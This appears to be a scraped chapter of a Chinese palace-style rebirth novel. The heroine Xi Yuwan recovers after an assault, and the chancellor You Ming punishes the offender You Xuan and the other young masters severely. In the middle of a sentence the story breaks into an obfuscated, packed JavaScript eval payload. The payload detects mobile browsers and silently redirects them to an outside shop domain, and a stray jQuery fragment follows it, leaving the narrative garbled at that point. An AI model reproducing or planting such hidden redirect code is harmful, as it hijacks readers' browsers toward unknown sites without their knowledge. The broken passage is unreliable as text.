和嘉院里,尤铭沉着脸坐在会客厅,听丫鬟和兰蓉去去回回一趟一趟的向他禀报席瑜宛的情况。
大夫说大少奶奶受了惊吓,神志不清,一直昏迷不肯醒。
大夫说大少奶奶激了冷水,却牙齿紧闭灌不进姜汤,怕是会染上风寒。
大夫说大少奶奶咳得太急太用力,嗓子怕是伤着了。
大夫说大少奶奶脖子上的伤口深,怕是会感染。
大夫说大少奶奶……
尤铭的脸色越来越沉,眼神越来越冷,会客厅俨然快成一个冰窖。
近侍长凌良在门外转了两圈,最后还是硬着头皮进来,远远的跪在地上。
“何事?”尤铭的声音里像是有刀片,刺得凌良脊背发冷,身体发痛。
凌良尽量把声音放的平稳,“按相爷的吩咐,公子们已关了起来,押送宣公子时侍卫们一时不防,让人从台阶上滚了下去,摔断了腿,现在人已经发烧的说胡话了。相爷,可否要请大夫为宣公子看一看?”
“他活该!”尤铭如同炮仗被火星点着了,暴怒而起,一把掀了手边的茶盏。
会客厅内噤若寒蝉,人人自危。
凌良顿时半个字也不敢说二太太在老太太那里跪着哭了半天的事。尤宣是二房的长子,在相府里大太太和三太太的几个儿子霸着风光,显不出什么,却是二房的心头肉,公然在盍枝苑花宴上做出这种事情,二太太知道尤宣肯定要受罚,却没想到尤宣已经受了伤,立时就心疼的不知如何是好了。
尤宣这伤来的很是蹊跷,凌良没有亲自负责关押公子们,只是听了手下的转述,说台阶不急也不高,不知怎么就摔了,还摔出那么严重的伤。手下起先怀疑这是尤宣特意做的苦肉计——他被尤铭的突然出现吓坏了,可检查尤宣的腿时发现伤并非做假,甚至还有贯穿伤,将膝盖骨打成了碎块,这伤势即便是治好,尤宣恐怕也不能正常走路了。
手下们分析是尤宣从台阶滚下去后,一膝盖跪在了石头尖儿上,直接将膝盖扎透了。
二太太程婷跪在老太太屋里,泪如雨下,声音哽咽,“老太太,宣儿是您看着长大的,平日里又懂事又听话,怎么可能做出这样的事情来。定是旁□□些上不得台面的撺掇着他的!老太太,相爷心里有气,媳妇不敢去劝,只求老太太看在宣儿还算有孝心的份儿上,让大夫先给宣儿瞧瞧腿吧!”
老太太心疼嫡长孙媳妇儿不假,可听到尤宣的腿断了,情况严重,也心疼起来。手心手背都是肉,打着哪边都不行。最后无法,让人来和嘉院传话,探探相爷的口风。
活该!
这就是相爷的口风。
尤铭站在会客厅里,竭力平复自己的怒气,“目无尊长,以下犯上,肆意妄为,无法无天,读了那么多年的诗书礼仪全部读到狗肚子里去了?!居然还好意思喊疼,还要治腿?好!让人给他治,治好了再打断,打断再治,一直到他认识到错误为止!”
凌良都听愣了。
他等了一会儿,悚然发现这不是尤铭说的气话,相爷是认真的!
他“唰”地又出了一层汗,“属下听令。”站起来退出去,将话原样说给等着回话的丫鬟,看着她小脸惨白、摇摇晃晃的回老太太那边去了。
正屋里,席瑜宛躺在床上,头疼脖子疼浑身发冷,却一直冒虚汗冒不停,正被梦魇折磨着。
上辈子她也遇到过这样的事情,在尤铭屋外跪那一次让她大病一场,直到第二年春天,天气转暖,才稍微好起来,被丫鬟们哄着到花园里散心,然后遇着了这群公子——远不止这么多人,带头的也不是尤宣,而是尤寰同父异母的弟弟尤安。
那时的她比今日惨多了,亲也亲了,摸也摸了,脱也脱了,眼看提-枪要上时,尤铭救了她,把她裹在自己的斗篷里抱回了德仪院,让她沐浴更衣,安慰她别怕。她还天真的以为尤铭回心转意打算救席家,离开德仪院时心里燃起了希望。可她想错了,尤铭依旧没理会席家的死活,也没有严厉处置那群欺负她的小辈,反而是她出入德仪院一趟被有心人看在了眼里,埋下了后来的祸根……
今日尤宣除了抓过她一次手腕,并没有碰着她其他地方,和尤安那种长年习武健身,一条胳膊就能把她压制得动弹不得的健硕不同,尤宣就是个文弱的书生,席瑜宛重生一回,自然不会毫无防备,吃干饭坐以待毙,根本没让他挨着自己。
至于后来在湖边那一通折腾……
席瑜宛浑噩地睁开眼睛,心道要不是保持这身子的虚弱还有大用处,她早就锻炼得就算在湖里泡一天也没事了。
“大少奶奶!大少奶奶您醒了?”棠衫守在床边寸步不离,眼睛都快哭瞎了。席瑜宛抬起手腕摸摸她的脸和脖子,虚弱地安抚,“抱歉,让你受委屈了。脖子还疼吗?”
“呜……大少奶奶……呜呜呜呜……”棠衫的眼泪就和开闸泄洪似的,哗啦啦淌个不停。
“没事,我没事的……咳咳。”席瑜宛轻轻拍拍她,打心眼里觉得这件事吓着这个忠心不二的丫鬟了。她心里很过意不去。
她一醒来,之前撬不开牙关灌不进去的药立马端了进来。
席瑜宛一脸嫌恶,筱叶忙道,“大少奶奶落水湿了,春日里到底水凉,激着身子留下病根可怎么好,这里头的姜汁熬的浓浓的,大少奶奶驱驱寒吧。”
换而言之,就是这不是大夫们开的乱七八糟的药,只是一碗姜汤。大少奶奶要为自己的身体着想,不能被一次小小的落水拖垮了。
席瑜宛被扶着坐起来,皱眉接过药碗,不像之前喝一勺玩半天,连勺子都没用,直接端起来一口闷了,一时间从嘴到喉咙到胃全都是火辣辣的一片,脖子上的伤也更疼了。
她被辣出了一身汗,和之前的虚汗混在一起,身上黏腻难受极了,就让人准备药浴,想要泡一泡。
棠衫见主子根本没将那些恶心的人放在心上,心下松了一口气,站起来说她去安排,被筱叶一把抓住,“好姐姐,你先找冰敷敷你这眼睛,歇一歇吧。”
棠衫却不是这么想的,相爷还没传她过去问话,也还没见着她的眼睛呢,留着还有用的!
桃沛掀起帘子走了进来,“相爷一直在会客厅等着,听说大少奶奶醒了,想要过来看看您。”
“不见。”席瑜宛想都不想就拒绝,“这几日谁来了我也不见,你们只管说我不愿见人。就这样回了相爷去。”
会客厅里的尤铭听了桃沛的传话,刚压下去一些
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14328289|152506||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
的怒火又蹿上来了。
一旁的兰蓉瞥了一眼尤铭的脸色,上前几步仔细询问桃沛,“大少奶奶醒来后状态如何,心情如何?是用什么语气同你说的这句话?”
桃沛认真想了想,说的三分真七分假,“大少奶奶醒来,先是默默哭了一场,问为什么要把她救回来,她没有脸面见人了。好不容易被大家劝好后喝了小半碗药,神情一直恹恹的,没有精神,说谁也不想见时声音轻轻的,不像平日里笑着的样子。”
她就这样描述,尤铭脑海里已经浮现出席瑜宛虚弱地靠在床边,双眼无神,心如死灰的模样。
他突然发了狂的想见她,当着她的面告诉她没有人会因为这个瞧不起她,她什么都没有做错,错的是尤宣那群畜生,该被处罚的是他们。府里不会有人因为这个给她脸色或者眼色看,如果有人敢,他就把那人的眼睛抓出来,手砍了,腿打断。
而她现在最需要的是把这件事忘掉,快点好起来,健健康康,漂漂亮亮,就像那天他过来看到的她一样,笑的开怀,一点阴霾都没有。至于其他人,他会处理的干干净净,不让她有半分烦忧。
尤铭道,“让你主子好生养病。兰蓉,你留下来仔细照顾着,有什么事不必经过孙湘锦,直接报给我。”
孙湘锦就是老太太。
兰蓉听得一愣,尤铭已经大步走了出去。
快离开和嘉院时,尤铭远远的看见一个丫鬟躲在角落里抹眼泪,衣着是一等丫鬟的打扮,旁边有个三等丫鬟在安慰她。
三等丫鬟道:“棠衫姐姐,你快别哭了,有委屈也且忍一忍。要是大少奶奶看见,会心疼的。”
棠衫道:“我也不想哭的……我只是心疼大少奶奶,她都那样了,还惦记着我是不是被打疼了……呜……大少奶奶好不容易才好起来一点,要是因为这件事彻底伤了心了,打定主意出家做姑子,我可该怎么办,是我保护大少奶奶不力,呜呜呜……”
三等丫鬟也快哭了,但她强忍着说,“不会的,棠衫姐姐,府里还有太太和老太太,她们一定会为大少奶奶做主的。”
棠衫哭的呜咽,说话含糊,大约是尤宣是二房那边的长子,是得罪不得的,受委屈的是大少奶奶,承担后果的还是大少奶奶之类。
尤铭的脸色用阴沉已经不足以形容了。连和嘉院的丫鬟,席瑜宛的贴身侍女都这么想,其他地方呢?是不是已经直接这么做了?
过了两日,和嘉院的消息通栾雪探听到了尤宣的处置结果。说是他在盍枝苑花宴上失仪,冲撞了贵人,被送到尤家城外的别苑里禁足反思,什么时候反思清楚了什么时候再放出来。
栾雪说这只是明面上的说法,其实尤宣和那天出现在华胥亭的公子们都可惨了,尤宣的腿没人治,听说已经肿的开始流脓腐烂了。而其他公子被关在别苑里吃不饱穿不暖,喊天天不应求地地不灵,每日要跪两个时辰以上,腿也不行了,以后即便相爷气消了把人放出来,这些人估计也废了。
席瑜宛眼底露出几分厌恶,淡淡道,“便宜他们了。”
只是对于尤宣腿伤一事,她也觉得太过于巧合,简直像老天爷替她处罚这人似的。席瑜宛想了一下没想出什么结果,就将这件事抛在了脑后。